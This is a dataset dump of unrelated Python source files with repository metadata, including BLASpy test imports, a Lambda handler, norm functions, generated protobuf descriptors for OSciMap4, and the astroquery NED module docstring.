a5ff92b13f825023b84e75e4e016cf96e2c5d302
|
[
"MIT"
] | 38
|
2015-02-12T09:33:24.000Z
|
2017-06-29T16:52:29.000Z
|
wok/__init__.py
|
abbgrade/wok
|
a5ff92b13f825023b84e75e4e016cf96e2c5d302
|
[
"MIT"
] | 21
|
2015-01-08T08:46:50.000Z
|
2020-01-28T23:59:40.000Z
|
version = u'1.1.1'
| 9.5
| 18
| 0.578947
| 5
| 19
| 2.2
| 0.6
| 0.363636
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.1875
| 0.157895
| 19
| 1
| 19
| 19
| 0.5
| 0
| 0
| 0
| 0
| 0
| 0.263158
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0
| 0
| 0
| 0
| 1
| 1
| 0
| null | 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 4
|
cc2dd024e490e1123ea15ff6d29ef052e28d36b0
| 523
|
py
|
Python
|
bp_unit_tests/level_2/__init__.py
|
nicholas-moreles/blaspy
|
c4af6258e17dd996c4b6d90bbaae15b31b8702b4
|
[
"BSD-3-Clause"
] | 4
|
2015-01-25T12:44:44.000Z
|
2022-03-19T08:36:19.000Z
|
bp_unit_tests/level_2/__init__.py
|
nicholas-moreles/blaspy
|
c4af6258e17dd996c4b6d90bbaae15b31b8702b4
|
[
"BSD-3-Clause"
] | 7
|
2015-01-20T13:35:39.000Z
|
2015-05-31T17:11:50.000Z
|
bp_unit_tests/level_2/__init__.py
|
nicholas-moreles/blaspy
|
c4af6258e17dd996c4b6d90bbaae15b31b8702b4
|
[
"BSD-3-Clause"
] | null | null | null |
"""
Copyright (c) 2014-2015, The University of Texas at Austin.
All rights reserved.
This file is part of BLASpy and is available under the 3-Clause
BSD License, which can be found in the LICENSE file at the top-level
directory or at http://opensource.org/licenses/BSD-3-Clause
"""
from .unit_test_gemv import TestGemv
from .unit_test_ger import TestGer
from .unit_test_symv import TestSymv
from .unit_test_syr import TestSyr
from .unit_test_syr2 import TestSyr2
from .unit_test_trsv import TestTrsv
| 30.764706
| 72
| 0.772467
| 86
| 523
| 4.55814
| 0.627907
| 0.122449
| 0.183673
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.027714
| 0.172084
| 523
| 17
| 73
| 30.764706
| 0.877598
| 0.523901
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 4
|
0be418d2b649ba36aa8704a71d83c02f9fe4ceae
| 189
|
py
|
Python
|
rems/management/commands/fetch_report.py
|
tokoiwesley/mars_weather_api
|
9e3a35585c5cf06c70bbf7d2622e0f2679808a4d
|
[
"Apache-2.0"
] | 45
|
2015-01-15T09:16:07.000Z
|
2021-11-11T08:28:22.000Z
|
rems/management/commands/fetch_report.py
|
tokoiwesley/mars_weather_api
|
9e3a35585c5cf06c70bbf7d2622e0f2679808a4d
|
[
"Apache-2.0"
] | 9
|
2015-06-27T08:50:08.000Z
|
2018-02-11T10:45:00.000Z
|
rems/management/commands/fetch_report.py
|
tokoiwesley/mars_weather_api
|
9e3a35585c5cf06c70bbf7d2622e0f2679808a4d
|
[
"Apache-2.0"
] | 13
|
2015-10-16T14:33:47.000Z
|
2020-11-26T06:50:48.000Z
|
from django.core.management.base import BaseCommand
from rems.tasks import fetch_report
class Command(BaseCommand):
def handle(self, *args, **options):
print(fetch_report())
| 21
| 51
| 0.740741
| 24
| 189
| 5.75
| 0.791667
| 0.15942
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.15873
| 189
| 8
| 52
| 23.625
| 0.867925
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.2
| false
| 0
| 0.4
| 0
| 0.8
| 0.2
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
|
0
| 4
|
04503413cfb3c41f7301319dcfbe4800200398b4
| 140
|
py
|
Python
|
entry_point/app.py
|
masterbranch-io/code-aws-lambda-python-template-repo
|
b2a1b32fc015f641b129a3c6219cbd2f3672ed3d
|
[
"MIT"
] | 1
|
2020-04-10T14:47:50.000Z
|
2020-04-10T14:47:50.000Z
|
entry_point/app.py
|
masterbranch-io/code-aws-lambda-python-template-repo
|
b2a1b32fc015f641b129a3c6219cbd2f3672ed3d
|
[
"MIT"
] | null | null | null |
entry_point/app.py
|
masterbranch-io/code-aws-lambda-python-template-repo
|
b2a1b32fc015f641b129a3c6219cbd2f3672ed3d
|
[
"MIT"
] | null | null | null |
def lambda_handler(event, context):
# TODO implement
return {
'statusCode': 200,
'body': 'Hello from Lambda!'
}
| 20
| 36
| 0.571429
| 14
| 140
| 5.642857
| 0.928571
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.030928
| 0.307143
| 140
| 6
| 37
| 23.333333
| 0.783505
| 0.1
| 0
| 0
| 0
| 0
| 0.258065
| 0
| 0
| 0
| 0
| 0.166667
| 0
| 1
| 0.2
| false
| 0
| 0
| 0.2
| 0.4
| 0
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
|
0
| 4
|
045e57a30ff015916f5074c242850189a3a24e83
| 373
|
py
|
Python
|
Python/norms.py
|
PratikDighole/simple-maths
|
c4c8c9227116abbb27c52a6e8f0bb670ea5570f5
|
[
"MIT"
] | 13
|
2019-10-10T14:01:43.000Z
|
2021-04-05T07:43:19.000Z
|
Python/norms.py
|
PratikDighole/simple-maths
|
c4c8c9227116abbb27c52a6e8f0bb670ea5570f5
|
[
"MIT"
] | 32
|
2019-10-10T13:57:54.000Z
|
2021-02-17T20:09:30.000Z
|
Python/norms.py
|
PratikDighole/simple-maths
|
c4c8c9227116abbb27c52a6e8f0bb670ea5570f5
|
[
"MIT"
] | 113
|
2019-10-10T14:18:12.000Z
|
2022-01-10T14:37:59.000Z
|
def l1_norm(lst):
"""
Calculates the l1 norm of a list of numbers
"""
return sum([abs(x) for x in lst])
def l2_norm(lst):
"""
Calculates the l2 norm of a list of numbers
"""
return sum([x*x for x in lst])
def linf_norm(lst):
"""
Calculates the l_infinity norm of a list of numbers
"""
return max([abs(x) for x in lst])
| 20.722222
| 55
| 0.58445
| 64
| 373
| 3.34375
| 0.328125
| 0.098131
| 0.238318
| 0.280374
| 0.588785
| 0.588785
| 0.392523
| 0.271028
| 0
| 0
| 0
| 0.015267
| 0.297587
| 373
| 17
| 56
| 21.941176
| 0.801527
| 0.372654
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.5
| false
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 1
| 0
|
0
| 4
|
f0af90991d053cd61691174be154d9d446ba0caa
| 149
|
py
|
Python
|
chapter2/2.3/bytes_test.py
|
yifengyou/crazy-python
|
28099bd5011de6981a7c5412783952cc7601ae0c
|
[
"Unlicense"
] | null | null | null |
chapter2/2.3/bytes_test.py
|
yifengyou/crazy-python
|
28099bd5011de6981a7c5412783952cc7601ae0c
|
[
"Unlicense"
] | null | null | null |
chapter2/2.3/bytes_test.py
|
yifengyou/crazy-python
|
28099bd5011de6981a7c5412783952cc7601ae0c
|
[
"Unlicense"
] | null | null | null |
# coding=utf-8
b1 = bytes()
print(b1)
b2 = b'hello'
print(b2)
b3 = bytes('我爱Python', encoding='utf-8')
print(b3)
st3 = b3.decode("utf-8")
print(st3)
| 14.9
| 40
| 0.644295
| 27
| 149
| 3.555556
| 0.518519
| 0.125
| 0.1875
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.092308
| 0.127517
| 149
| 9
| 41
| 16.555556
| 0.646154
| 0.080537
| 0
| 0
| 0
| 0
| 0.17037
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0
| 0
| 0
| 0.5
| 1
| 0
| 0
| null | 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
|
0
| 4
|
f0cfdad673ccbc4f09867a2e7bd3c1f58350e67d
| 152
|
py
|
Python
|
Programs/Programs-Beg/string-int.py
|
ParkerBalbach/Python-try
|
4fa0e92b182802d30eef717e69e01c2f214ad90a
|
[
"MIT"
] | null | null | null |
Programs/Programs-Beg/string-int.py
|
ParkerBalbach/Python-try
|
4fa0e92b182802d30eef717e69e01c2f214ad90a
|
[
"MIT"
] | null | null | null |
Programs/Programs-Beg/string-int.py
|
ParkerBalbach/Python-try
|
4fa0e92b182802d30eef717e69e01c2f214ad90a
|
[
"MIT"
] | null | null | null |
user_input = input("Type a two digit number: ")
first_digit = user_input[0]
second_digit = user_input[1]
print(int(first_digit) + int(second_digit))
| 19
| 47
| 0.743421
| 25
| 152
| 4.24
| 0.52
| 0.254717
| 0.264151
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.015152
| 0.131579
| 152
| 8
| 48
| 19
| 0.787879
| 0
| 0
| 0
| 0
| 0
| 0.165563
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0
| 0
| 0
| 0.25
| 1
| 0
| 0
| null | 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 4
|
f0e289f5d87bbc3acf4e91a7472d706746a384f4
| 346
|
py
|
Python
|
tests/packages/full-tasks/.trampolim.py
|
henryiii/trampolim
|
f3e8db8dea5607f708208b57de0d8bc49348a9d1
|
[
"MIT"
] | 34
|
2021-05-06T19:06:01.000Z
|
2022-02-11T17:49:37.000Z
|
tests/packages/full-tasks/.trampolim.py
|
henryiii/trampolim
|
f3e8db8dea5607f708208b57de0d8bc49348a9d1
|
[
"MIT"
] | 10
|
2021-06-12T04:46:09.000Z
|
2021-12-30T13:21:43.000Z
|
tests/packages/full-tasks/.trampolim.py
|
henryiii/trampolim
|
f3e8db8dea5607f708208b57de0d8bc49348a9d1
|
[
"MIT"
] | 4
|
2021-05-09T10:58:25.000Z
|
2022-02-14T21:14:18.000Z
|
# SPDX-License-Identifier: MIT
import trampolim
@trampolim.task
def no_parameters():
pass
@trampolim.task
def receives_session(session):
pass
@trampolim.task
def inject_some_file(session):
with open('example_source.py', 'w') as f:
f.write('# Example!')
session.extra_source += [
'example_source.py',
]
| 14.416667
| 45
| 0.66474
| 43
| 346
| 5.186047
| 0.604651
| 0.174888
| 0.215247
| 0.179372
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.208092
| 346
| 23
| 46
| 15.043478
| 0.813869
| 0.080925
| 0
| 0.357143
| 0
| 0
| 0.142405
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.214286
| false
| 0.142857
| 0.071429
| 0
| 0.285714
| 0
| 0
| 0
| 0
| null | 0
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 0
| 0
| 0
|
0
| 4
|
0b09608c893516850d480f426335dff9c47f5ada
| 246
|
py
|
Python
|
products/serializers.py
|
ziyacivan/Sociality.io-task-project
|
7b9e26621f41986f3058f518076da199bb401836
|
[
"MIT"
] | null | null | null |
products/serializers.py
|
ziyacivan/Sociality.io-task-project
|
7b9e26621f41986f3058f518076da199bb401836
|
[
"MIT"
] | null | null | null |
products/serializers.py
|
ziyacivan/Sociality.io-task-project
|
7b9e26621f41986f3058f518076da199bb401836
|
[
"MIT"
] | null | null | null |
from rest_framework import serializers
class ProductSerializer(serializers.Serializer):
id = serializers.IntegerField(read_only=True)
name = serializers.CharField()
image = serializers.CharField()
price = serializers.FloatField()
| 35.142857
| 49
| 0.776423
| 24
| 246
| 7.875
| 0.75
| 0.21164
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.138211
| 246
| 7
| 50
| 35.142857
| 0.891509
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.166667
| 0
| 1
| 0
| 1
| 0
| 0
| null | 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
|
0
| 4
|
0b1ab288166d065a72d7c9808de72eb80e97495d
| 9,328
|
py
|
Python
|
tilequeue/format/OSciMap4/TileData_v4_pb2.py
|
ducdk90/tilequeue
|
c664b5c89a9f0e6743405ab266aa9ca80b57806e
|
[
"MIT"
] | 29
|
2016-11-03T18:39:21.000Z
|
2022-02-27T17:42:37.000Z
|
tilequeue/format/OSciMap4/TileData_v4_pb2.py
|
ducdk90/tilequeue
|
c664b5c89a9f0e6743405ab266aa9ca80b57806e
|
[
"MIT"
] | 146
|
2016-07-07T16:41:07.000Z
|
2021-12-11T00:27:20.000Z
|
tilequeue/format/OSciMap4/TileData_v4_pb2.py
|
ducdk90/tilequeue
|
c664b5c89a9f0e6743405ab266aa9ca80b57806e
|
[
"MIT"
] | 28
|
2016-08-19T16:08:52.000Z
|
2021-07-26T10:16:29.000Z
|
# Generated by the protocol buffer compiler. DO NOT EDIT!
from google.protobuf import descriptor
from google.protobuf import message
from google.protobuf import reflection
from google.protobuf import descriptor_pb2
# @@protoc_insertion_point(imports)
DESCRIPTOR = descriptor.FileDescriptor(
name='TileData_v4.proto',
package='org.oscim.database.oscimap4',
serialized_pb='\n\x11TileData_v4.proto\x12\x1borg.oscim.database.oscimap4\"\xe2\x03\n\x04\x44\x61ta\x12\x0f\n\x07version\x18\x01 \x02(\r\x12\x11\n\ttimestamp\x18\x02 \x01(\x04\x12\r\n\x05water\x18\x03 \x01(\x08\x12\x10\n\x08num_tags\x18\x0b \x02(\r\x12\x13\n\x08num_keys\x18\x0c \x01(\r:\x01\x30\x12\x13\n\x08num_vals\x18\r \x01(\r:\x01\x30\x12\x0c\n\x04keys\x18\x0e \x03(\t\x12\x0e\n\x06values\x18\x0f \x03(\t\x12\x10\n\x04tags\x18\x10 \x03(\rB\x02\x10\x01\x12\x38\n\x05lines\x18\x15 \x03(\x0b\x32).org.oscim.database.oscimap4.Data.Element\x12;\n\x08polygons\x18\x16 \x03(\x0b\x32).org.oscim.database.oscimap4.Data.Element\x12\x39\n\x06points\x18\x17 \x03(\x0b\x32).org.oscim.database.oscimap4.Data.Element\x1a\x88\x01\n\x07\x45lement\x12\x16\n\x0bnum_indices\x18\x01 \x01(\r:\x01\x31\x12\x13\n\x08num_tags\x18\x02 \x01(\r:\x01\x31\x12\x10\n\x04tags\x18\x0b \x03(\rB\x02\x10\x01\x12\x13\n\x07indices\x18\x0c \x03(\rB\x02\x10\x01\x12\x17\n\x0b\x63oordinates\x18\r \x03(\x11\x42\x02\x10\x01\x12\x10\n\x05layer\x18\x15 \x01(\r:\x01\x35')
_DATA_ELEMENT = descriptor.Descriptor(
name='Element',
full_name='org.oscim.database.oscimap4.Data.Element',
filename=None,
file=DESCRIPTOR,
containing_type=None,
fields=[
descriptor.FieldDescriptor(
name='num_indices', full_name='org.oscim.database.oscimap4.Data.Element.num_indices', index=0,
number=1, type=13, cpp_type=3, label=1,
has_default_value=True, default_value=1,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
options=None),
descriptor.FieldDescriptor(
name='num_tags', full_name='org.oscim.database.oscimap4.Data.Element.num_tags', index=1,
number=2, type=13, cpp_type=3, label=1,
has_default_value=True, default_value=1,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
options=None),
descriptor.FieldDescriptor(
name='tags', full_name='org.oscim.database.oscimap4.Data.Element.tags', index=2,
number=11, type=13, cpp_type=3, label=3,
has_default_value=False, default_value=[],
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
options=descriptor._ParseOptions(descriptor_pb2.FieldOptions(), '\020\001')),
descriptor.FieldDescriptor(
name='indices', full_name='org.oscim.database.oscimap4.Data.Element.indices', index=3,
number=12, type=13, cpp_type=3, label=3,
has_default_value=False, default_value=[],
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
options=descriptor._ParseOptions(descriptor_pb2.FieldOptions(), '\020\001')),
descriptor.FieldDescriptor(
name='coordinates', full_name='org.oscim.database.oscimap4.Data.Element.coordinates', index=4,
number=13, type=17, cpp_type=1, label=3,
has_default_value=False, default_value=[],
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
options=descriptor._ParseOptions(descriptor_pb2.FieldOptions(), '\020\001')),
descriptor.FieldDescriptor(
name='layer', full_name='org.oscim.database.oscimap4.Data.Element.layer', index=5,
number=21, type=13, cpp_type=3, label=1,
has_default_value=True, default_value=5,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
options=None),
],
extensions=[
],
nested_types=[],
enum_types=[
],
options=None,
is_extendable=False,
extension_ranges=[],
serialized_start=397,
serialized_end=533,
)
_DATA = descriptor.Descriptor(
name='Data',
full_name='org.oscim.database.oscimap4.Data',
filename=None,
file=DESCRIPTOR,
containing_type=None,
fields=[
descriptor.FieldDescriptor(
name='version', full_name='org.oscim.database.oscimap4.Data.version', index=0,
number=1, type=13, cpp_type=3, label=2,
has_default_value=False, default_value=0,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
options=None),
descriptor.FieldDescriptor(
name='timestamp', full_name='org.oscim.database.oscimap4.Data.timestamp', index=1,
number=2, type=4, cpp_type=4, label=1,
has_default_value=False, default_value=0,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
options=None),
descriptor.FieldDescriptor(
name='water', full_name='org.oscim.database.oscimap4.Data.water', index=2,
number=3, type=8, cpp_type=7, label=1,
has_default_value=False, default_value=False,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
options=None),
descriptor.FieldDescriptor(
name='num_tags', full_name='org.oscim.database.oscimap4.Data.num_tags', index=3,
number=11, type=13, cpp_type=3, label=2,
has_default_value=False, default_value=0,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
options=None),
descriptor.FieldDescriptor(
name='num_keys', full_name='org.oscim.database.oscimap4.Data.num_keys', index=4,
number=12, type=13, cpp_type=3, label=1,
has_default_value=True, default_value=0,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
options=None),
descriptor.FieldDescriptor(
name='num_vals', full_name='org.oscim.database.oscimap4.Data.num_vals', index=5,
number=13, type=13, cpp_type=3, label=1,
has_default_value=True, default_value=0,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
options=None),
descriptor.FieldDescriptor(
name='keys', full_name='org.oscim.database.oscimap4.Data.keys', index=6,
number=14, type=9, cpp_type=9, label=3,
has_default_value=False, default_value=[],
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
options=None),
descriptor.FieldDescriptor(
name='values', full_name='org.oscim.database.oscimap4.Data.values', index=7,
number=15, type=9, cpp_type=9, label=3,
has_default_value=False, default_value=[],
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
options=None),
descriptor.FieldDescriptor(
name='tags', full_name='org.oscim.database.oscimap4.Data.tags', index=8,
number=16, type=13, cpp_type=3, label=3,
has_default_value=False, default_value=[],
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
options=descriptor._ParseOptions(descriptor_pb2.FieldOptions(), '\020\001')),
descriptor.FieldDescriptor(
name='lines', full_name='org.oscim.database.oscimap4.Data.lines', index=9,
number=21, type=11, cpp_type=10, label=3,
has_default_value=False, default_value=[],
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
options=None),
descriptor.FieldDescriptor(
name='polygons', full_name='org.oscim.database.oscimap4.Data.polygons', index=10,
number=22, type=11, cpp_type=10, label=3,
has_default_value=False, default_value=[],
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
options=None),
descriptor.FieldDescriptor(
name='points', full_name='org.oscim.database.oscimap4.Data.points', index=11,
number=23, type=11, cpp_type=10, label=3,
has_default_value=False, default_value=[],
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
options=None),
],
extensions=[
],
nested_types=[_DATA_ELEMENT, ],
enum_types=[
],
options=None,
is_extendable=False,
extension_ranges=[],
serialized_start=51,
serialized_end=533,
)
_DATA_ELEMENT.containing_type = _DATA;
_DATA.fields_by_name['lines'].message_type = _DATA_ELEMENT
_DATA.fields_by_name['polygons'].message_type = _DATA_ELEMENT
_DATA.fields_by_name['points'].message_type = _DATA_ELEMENT
DESCRIPTOR.message_types_by_name['Data'] = _DATA
class Data(message.Message):
__metaclass__ = reflection.GeneratedProtocolMessageType
class Element(message.Message):
__metaclass__ = reflection.GeneratedProtocolMessageType
DESCRIPTOR = _DATA_ELEMENT
# @@protoc_insertion_point(class_scope:org.oscim.database.oscimap4.Data.Element)
DESCRIPTOR = _DATA
# @@protoc_insertion_point(class_scope:org.oscim.database.oscimap4.Data)
# @@protoc_insertion_point(module_scope)
| 45.72549
| 1,037
| 0.729202
| 1,303
| 9,328
| 5.008442
| 0.123561
| 0.068648
| 0.086883
| 0.095618
| 0.78057
| 0.73414
| 0.725253
| 0.681122
| 0.618909
| 0.593779
| 0
| 0.059509
| 0.135292
| 9,328
| 203
| 1,038
| 45.950739
| 0.749566
| 0.02991
| 0
| 0.63388
| 1
| 0.005464
| 0.231118
| 0.204468
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.021858
| 0
| 0.043716
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 4
|
9be2b08a8ad4ea1d9bfa4ec9649cb2938ae6c061
| 226
|
py
|
Python
|
wagtail/wagtailcore/apps.py
|
kurtrwall/wagtail
|
fcea4ee30da388ebeb071c5b47285526928998e4
|
[
"BSD-3-Clause"
] | 3
|
2016-08-17T13:56:36.000Z
|
2019-04-23T19:59:25.000Z
|
wagtail/wagtailcore/apps.py
|
chrxr/wagtail
|
9038da9fcd69f0b39121cc54a72f4a6ae6beb06a
|
[
"BSD-3-Clause"
] | 11
|
2016-08-05T15:43:06.000Z
|
2016-12-16T13:32:23.000Z
|
wagtail/wagtailcore/apps.py
|
potatolondon/wagtail-gae
|
79800b0439bffeb9eb840e70c32d62f5b3487f9c
|
[
"BSD-3-Clause"
] | 1
|
2021-04-11T07:41:05.000Z
|
2021-04-11T07:41:05.000Z
|
from __future__ import absolute_import, unicode_literals
from django.apps import AppConfig
class WagtailCoreAppConfig(AppConfig):
name = 'wagtail.wagtailcore'
label = 'wagtailcore'
verbose_name = "Wagtail core"
| 22.6
| 56
| 0.774336
| 24
| 226
| 7
| 0.708333
| 0.130952
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.159292
| 226
| 9
| 57
| 25.111111
| 0.884211
| 0
| 0
| 0
| 0
| 0
| 0.185841
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.333333
| 0
| 1
| 0
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
|
0
| 4
|
5000f0e8da8607b1aa7e62e819d838c0755e2eb0
| 2,322
|
py
|
Python
|
astroquery/ned/__init__.py
|
jdnc/astroquery
|
a89dcc5f4132bc2e9d72da1aa583dbc9e7e8216f
|
[
"BSD-3-Clause"
] | 1
|
2019-12-17T00:43:56.000Z
|
2019-12-17T00:43:56.000Z
|
astroquery/ned/__init__.py
|
jdnc/astroquery
|
a89dcc5f4132bc2e9d72da1aa583dbc9e7e8216f
|
[
"BSD-3-Clause"
] | null | null | null |
astroquery/ned/__init__.py
|
jdnc/astroquery
|
a89dcc5f4132bc2e9d72da1aa583dbc9e7e8216f
|
[
"BSD-3-Clause"
] | null | null | null |
# Licensed under a 3-clause BSD style license - see LICENSE.rst
"""
Module containing a series of functions that execute queries to the NASA Extragalactic Database (NED):
* query_ned_by_objname() - return one of several data tables based on object name
* query_ned_nearname() - return data on objects within a specified angular
distance to a target
* query_ned_near_iauname() - return data on objects within a specified angular
distance to a target (IAU naming convention)
* query_ned_by_refcode() - return data on objects cited in a given reference
* query_ned_names() - return multi-wavelength cross-IDs of a given target
* query_ned_basic_posn() - return basic position information on a given target
* query_ned_external() - return external web references to other databases
for a given target
* query_ned_allsky() - return data for all-sky search criteria constraining
redshift, position, fluxes, object type, survey
* query_ned_photometry() - return photometry for data on a given target
* query_ned_diameters() - return angular diameter data for a given target
* query_ned_redshifts() - return redshift data for a given target
* query_ned_notes() - return detailed notes on a given target
* query_ned_position() - return multi-wavelength position information on a
given target
* query_ned_nearpos() - return data on objects on a cone search around given
position
Based off Adam Ginsburg's Splatalogue search routine:
http://code.google.com/p/agpy/source/browse/trunk/agpy/query_splatalogue.py
Service URLs to acquire the VO Tables are taken from Mazzarella et al. (2007)
in The National Virtual Observatory: Tools and Techniques for Astronomical Research,
ASP Conference Series, Vol. 382., p.165
Note: two of the search functions described by Mazzarella et al. did not work as of June 2011:
* 7. query_ned_basic - retrieve basic data for an NED object
* 14. query_ned_references - retrieve reference data for an NED object
Originally written by K. Willett, Jun 2011
"""
from .core import *
| 58.05
| 102
| 0.682601
| 313
| 2,322
| 4.945687
| 0.469649
| 0.082687
| 0.081395
| 0.087855
| 0.24354
| 0.207364
| 0.164083
| 0.129199
| 0.076227
| 0.076227
| 0
| 0.012926
| 0.267011
| 2,322
| 39
| 103
| 59.538462
| 0.896592
| 0.986649
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 4
|
5051a7ea277048b16243363723ed596c3d1493f4
| 207
|
py
|
Python
|
alfi/impl/odes/__init__.py
|
mossjacob/reggae
|
673b483731e6f162f41c3b52dc30f6a0df4684bf
|
[
"MIT"
] | 1
|
2021-02-13T11:00:29.000Z
|
2021-02-13T11:00:29.000Z
|
alfi/impl/odes/__init__.py
|
mossjacob/reggae
|
673b483731e6f162f41c3b52dc30f6a0df4684bf
|
[
"MIT"
] | null | null | null |
alfi/impl/odes/__init__.py
|
mossjacob/reggae
|
673b483731e6f162f41c3b52dc30f6a0df4684bf
|
[
"MIT"
] | null | null | null |
from .rna_velocity import RNAVelocityLFM, RNAVelocityConfiguration
from .transcriptional import TranscriptionLFM
__all__ = [
'RNAVelocityLFM',
'RNAVelocityConfiguration',
'TranscriptionLFM',
]
| 20.7
| 66
| 0.782609
| 14
| 207
| 11.214286
| 0.642857
| 0.484076
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.144928
| 207
| 9
| 67
| 23
| 0.887006
| 0
| 0
| 0
| 0
| 0
| 0.26087
| 0.115942
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.285714
| 0
| 0.285714
| 0
| 1
| 0
| 1
| null | 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
